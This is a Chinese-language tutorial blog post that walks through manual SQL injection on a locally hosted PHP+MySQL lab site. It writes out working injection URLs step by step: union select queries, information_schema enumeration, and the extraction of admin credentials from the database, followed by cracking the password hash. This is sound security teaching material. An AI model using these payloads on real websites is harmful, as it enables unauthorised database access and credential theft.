Hello,各位小伙伴们大家晚上好~~
不知不觉,已经是本公众号的第八篇技术文章了,你们都有认真阅读吗?
正当小编发愁下一篇写什么的时候,鲁迅发话了:
好吧,那么我们就一起来学习一下,对PHP+MySql组合的网站,怎么进行纯手工注入吧,Here we go~
NPMserv:
PHP + Mysql 集成环境,下载后在windows虚拟机中解压即可使用。
链接:https://pan.baidu.com/s/1TWoQ3PLo_SWX-FEATQVeHQ
提取码,请关注公众号并回复 SQL注入 即可获取~
网站搭建完成后,我们就可以通过浏览器直接进行访问了~
1、寻找注入点
任意点开一片文章,我们会发现url处出现了"id"字样,猜测网站通过id号从数据库中调取不同的文章:
修改"id=43",发现果然打开了一篇其他的文章:
接下来我们来判断此处是否为注入点吧~
输入http://192.168.211.135/dy_show.php?dy_id=43 and 1=1 页面显示正常
输入http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 查询失败
说明此处存在注入点
2、测试注入点所在table的字段数目
输入 http://192.168.211.135/dy_show.php?dy_id=42 order by 5 查询失败
输入 http://192.168.211.135/dy_show.php?dy_id=42 order by 4 查询成功
由此我们可以判断字段数为4
3、查询version、database等信息
已知当前表项的字段数为4,我们先通过union select 来判断一下哪些字段所在的内容会显示在网页上,并加上and 1=2 ,让网站原本的内容不被显示出来。
输入 http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,2,3,4
可以看到 2,3查询点被显示了出来。
接下来我们将2,3替换为version(),和user(),查询结果如下:
可以看出当前Mysql数据版本在5.0以上,当前查询账号为root管理员账号
桥豆麻袋,Mysql 5.0 代表什么?说明支持 information_schema 数据库呀~,该数据库中存储着用户在MySQL中创建的所有其它所有数据库的信息。
在进行下一步之前,我们先查询一下当前的数据库,输入
http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,database(),3,4
查询处数据库为govcn
4、查询表名
information_schema中存放了三张重要的数据表,如下:
使用tables表,我们先来查询 govcn 数据库中有哪些表,在输入点2查询表名
输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘govcn’
But,当存在大量表时,此处会显示得非常混乱,我们用group_concat()函数来将table_name查询内容进行整合。
输入:
http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘govcn’
可以看到 govcn 数据库中得表单都被查询了出来,接下来我们就可以从admin表中查询用户的账号、密码了。
5、查询指定表中的字段
首先从information_schema.columns中查询表名,输入:
http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘admin’
发现该标中的字段名为username和password,知道表名,又知道了表的字段名,那我们就可以直接查询这些字段的内容了~
6、查询用户名及密码
输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,username,password,4 from admin
此处什么都没显示出来,可能因为账号密码的格式与网页格式不同,显示不出来,需要使用unhex(hex())函数进行编码转换。
输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin
查询结果如下,成功爆出用户名、密码:
将密码在CMD5等网站进行破解,结果如下:
这样我们就成功获取了用户名admin,密码admin了~
以上就是今天Mysql手工注入的教程,大家都明白了吗?
之前小编有写过一期通过sqlmap对该网站进行注入的文章,没看过的小伙伴可以回顾一下哦~
好啦,这就是今天的全部内容,欢迎关注我的公众号~
peace!